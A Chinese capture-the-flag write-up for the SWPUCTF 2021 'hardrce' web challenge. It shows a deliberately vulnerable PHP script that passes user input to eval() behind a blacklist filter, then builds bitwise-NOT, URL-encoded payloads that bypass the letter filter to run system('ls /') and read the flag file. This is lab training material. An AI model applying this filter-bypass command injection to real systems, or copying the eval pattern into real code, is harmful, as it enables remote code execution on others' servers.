[SWPUCTF 2021 新生赛]hardrce
[SWPUCTF 2021 新生赛]hardrce
题目来源:nssctf
题目类型:web
涉及考点:rec
1. 上来直接代码审计
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
代码给了一个黑名单,过滤了一系列字符,其中包括异或,且过滤了所有字母,这时候就涉及无字母RCE绕过了
具体知识点见:老生常谈的无字母数字 Webshell 总结 (侵删!!)
总之,题目没有过滤 |
以及~
,我们可以考虑使用 或 操作或者 取反 操作,这里使用取反
2. 构造payload
我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到
- 我们先构造
system('ls /')
,因为没有过滤括号,我们只对括号内外分别取反再编码再取反即可:
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
- 再构造
cat /flllllaaaaaaggggggg
:
?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
获得flag:
NSSCTF{f39d8cd5-9eda-4197-a229-d065c0274e04}
日期:2023.8.20
作者:y0Zero